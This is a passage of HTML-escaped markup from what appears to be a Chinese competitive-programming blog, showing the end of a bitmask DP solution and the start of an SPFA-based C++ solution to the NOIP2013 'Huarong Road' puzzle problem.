class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e i = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; i \u0026lt; n; i++)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ans += ((a \u0026gt;\u0026gt; i) \u0026amp; \u003cspan class=\"number\"\u003e1\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e ans;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e \u003cspan class=\"title\"\u003edfs\u003c/span\u003e\u003cspan class=\"params\"\u003e(status last, \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e remain, \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e step = \u003cspan class=\"number\"\u003e1\u003c/span\u003e)\u003c/span\u003e \u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (remain \u0026lt; \u003cspan class=\"number\"\u003e0\u003c/span\u003e || remain \u0026gt; ((n \u0026gt;\u0026gt; \u003cspan class=\"number\"\u003e1\u003c/span\u003e) + (n % \u003cspan class=\"number\"\u003e2\u003c/span\u003e)) * (((n - step + \u003cspan class=\"number\"\u003e1\u003c/span\u003e) \u0026gt;\u0026gt; \u003cspan class=\"number\"\u003e1\u003c/span\u003e) + ((n - step + \u003cspan class=\"number\"\u003e1\u003c/span\u003e) % \u003cspan class=\"number\"\u003e2\u003c/span\u003e)))\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (step \u0026gt; n)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e !remain;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (mem[last][step][remain])\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e mem[last][step][remain];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003elong\u003c/span\u003e \u003cspan class=\"keyword\"\u003elong\u003c/span\u003e ans = \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (status now = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; now \u0026lt;= max_status; now++) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e ((now \u0026amp; (now \u0026lt;\u0026lt; \u003cspan class=\"number\"\u003e1\u003c/span\u003e)) || (now \u0026amp; last) || (now \u0026amp; (last \u0026lt;\u0026lt; \u003cspan class=\"number\"\u003e1\u003c/span\u003e)) || (now \u0026amp; (last \u0026gt;\u0026gt; \u003cspan class=\"number\"\u003e1\u003c/span\u003e)))\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003econtinue\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ans += \u003cspan class=\"built_in\"\u003edfs\u003c/span\u003e(now, remain - \u003cspan class=\"built_in\"\u003ecount\u003c/span\u003e(now), step + \u003cspan class=\"number\"\u003e1\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e mem[last][step][remain] = ans;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e \u003cspan class=\"title\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e()\u003c/span\u003e \u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e cin \u0026gt;\u0026gt; n \u0026gt;\u0026gt; step_limit;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e max_status = ~-(\u003cspan class=\"number\"\u003e1\u003c/span\u003e \u0026lt;\u0026lt; n);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e cout \u0026lt;\u0026lt; \u003cspan class=\"built_in\"\u003edfs\u003c/span\u003e(\u003cspan class=\"number\"\u003e0ll\u003c/span\u003e, step_limit);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"华容道\"\u003e华容道\u003c/h2\u003e\u003cblockquote\u003e\u003cp\u003e来源: luoguP1979/NOIP2013\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e首先我们可以通过人生经验得知这是一道图论题,但是我们发现需要抽象点。\u003cbr/\u003e我们发现棋面每一步移动都可以导向另一个棋面,于是我们可以把每一步移动当作一个点。\u003cbr/\u003e对于每一个点,有四个移动方式(上下左右)(↑↑↓↓←→←→ABAB)将每个移动编号,跑SPFA\u003c/p\u003e\u003cfigure class=\"highlight cpp\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e31\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e32\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e33\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e34\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e35\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e36\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e37\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e38\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e39\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e40\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e41\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e42\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e43\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e44\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e45\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e46\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e47\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e48\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e49\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e50\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e51\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e52\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e53\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e54\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e55\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e56\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e57\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e58\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e59\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e60\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e61\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e62\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e63\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e64\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e65\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e66\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e67\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e68\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e69\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e70\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e71\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e72\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e73\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e74\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e75\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e76\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e77\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e78\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e79\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e80\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e81\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e82\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e83\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e84\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e85\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e86\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e87\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e88\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e89\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e90\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e91\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e92\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e93\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e94\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e95\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e96\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e97\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e98\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e99\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e100\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e101\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e102\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e103\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e104\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e105\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e106\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e107\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e108\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e109\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e110\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e111\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e112\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e113\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e114\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e115\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e116\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e117\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e118\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e119\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e120\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e121\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e122\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e123\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e124\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e125\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e126\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e127\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e128\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e129\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e130\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e131\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e132\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e133\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e134\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e135\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e136\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e137\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e138\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e139\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e140\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e141\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e142\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e143\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e144\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e145\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e146\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e147\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e148\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e149\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e150\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e151\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e152\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e153\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e154\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e155\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"meta-keyword\"\u003einclude\u003c/span\u003e\u003cspan class=\"meta-string\"\u003e\u0026lt;iostream\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"meta-keyword\"\u003einclude\u003c/span\u003e\u003cspan class=\"meta-string\"\u003e\u0026lt;vector\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"meta-keyword\"\u003einclude\u003c/span\u003e\u003cspan class=\"meta-string\"\u003e\u0026lt;list\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"meta-keyword\"\u003einclude\u003c/span\u003e\u003cspan class=\"meta-string\"\u003e\u0026lt;queue\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"meta-keyword\"\u003einclude\u003c/span\u003e\u003cspan class=\"meta-string\"\u003e\u0026lt;cstring\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eusing\u003c/span\u003e \u003cspan class=\"keyword\"\u003enamespace\u003c/span\u003e std;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"meta-keyword\"\u003edefine\u003c/span\u003e SIZE 31\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ebool\u003c/span\u003e map[SIZE][SIZE];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e SizeX, SizeY;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e EmptyX, EmptyY;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e StartX, StartY;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e TargX, TargY;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e gamePlays;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e \u003cspan class=\"title\"\u003eGraph\u003c/span\u003e {\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003estatic\u003c/span\u003e \u003cspan class=\"keyword\"\u003econst\u003c/span\u003e \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e MAXNODE = \u003cspan class=\"number\"\u003e10000\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e \u003cspan class=\"title\"\u003eEdge\u003c/span\u003e {\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e dest, weight;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eEdge\u003c/span\u003e(\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e d, \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e w) :\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003edest\u003c/span\u003e(d), \u003cspan class=\"built_in\"\u003eweight\u003c/span\u003e(w) {}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e };\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e list\u0026lt;Edge\u0026gt;map[MAXNODE];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e};\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e \u003cspan class=\"title\"\u003eSPFA\u003c/span\u003e :\u003c/span\u003e\u003cspan class=\"keyword\"\u003eprivate\u003c/span\u003e Graph {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e dis[MAXNODE];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ebool\u003c/span\u003e visited[MAXNODE];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e queue\u0026lt;\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e\u0026gt;joblist;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"title\"\u003eclear\u003c/span\u003e\u003cspan class=\"params\"\u003e()\u003c/span\u003e \u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003ememset\u003c/span\u003e(dis, \u003cspan class=\"number\"\u003e1\u003c/span\u003e, \u003cspan class=\"keyword\"\u003esizeof\u003c/span\u003e dis);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003ememset\u003c/span\u003e(visited, \u003cspan class=\"number\"\u003e0\u003c/span\u003e, \u003cspan class=\"keyword\"\u003esizeof\u003c/span\u003e visited);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e (!joblist.\u003cspan class=\"built_in\"\u003eempty\u003c/span\u003e())joblist.\u003cspan class=\"built_in\"\u003epop\u003c/span\u003e();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"title\"\u003ework\u003c/span\u003e\u003cspan class=\"params\"\u003e()\u003c/span\u003e \u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e (!joblist.\u003cspan class=\"built_in\"\u003eempty\u003c/span\u003e()) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e current = joblist.\u003cspan class=\"built_in\"\u003efront\u003c/span\u003e();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e joblist.\u003cspan class=\"built_in\"\u003epop\u003c/span\u003e();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e visited[current] = \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e list\u0026lt;Edge\u0026gt;::iterator i = map[current].\u003cspan class=\"built_in\"\u003ebegin\u003c/span\u003e();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (; i != map[current].\u003cspan class=\"built_in\"\u003eend\u003c/span\u003e(); i++) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (dis[i-\u0026gt;dest] \u0026gt; dis[current] + i-\u0026gt;weight) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e dis[i-\u0026gt;dest] = dis[current] + i-\u0026gt;weight;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (!visited[i-\u0026gt;dest]) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e joblist.\u003cspan class=\"built_in\"\u003epush\u003c/span\u003e(i-\u0026gt;dest);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e visited[i-\u0026gt;dest] = \u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"title\"\u003econnect\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e a, \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e b, \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e w)\u003c/span\u003e \u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e map[a].\u003cspan class=\"built_in\"\u003epush_front\u003c/span\u003e(\u003cspan class=\"built_in\"\u003eEdge\u003c/span\u003e(b, w));\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e};\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e \u003cspan class=\"title\"\u003epoint\u003c/span\u003e {\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e x, y, step;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003epoint\u003c/span\u003e(\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e x, \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e y, \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e s) :\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003ex\u003c/span\u003e(x), \u003cspan class=\"built_in\"\u003ey\u003c/span\u003e(y), \u003cspan class=\"built_in\"\u003estep\u003c/span\u003e(s) {}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e};\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ebool\u003c/span\u003e 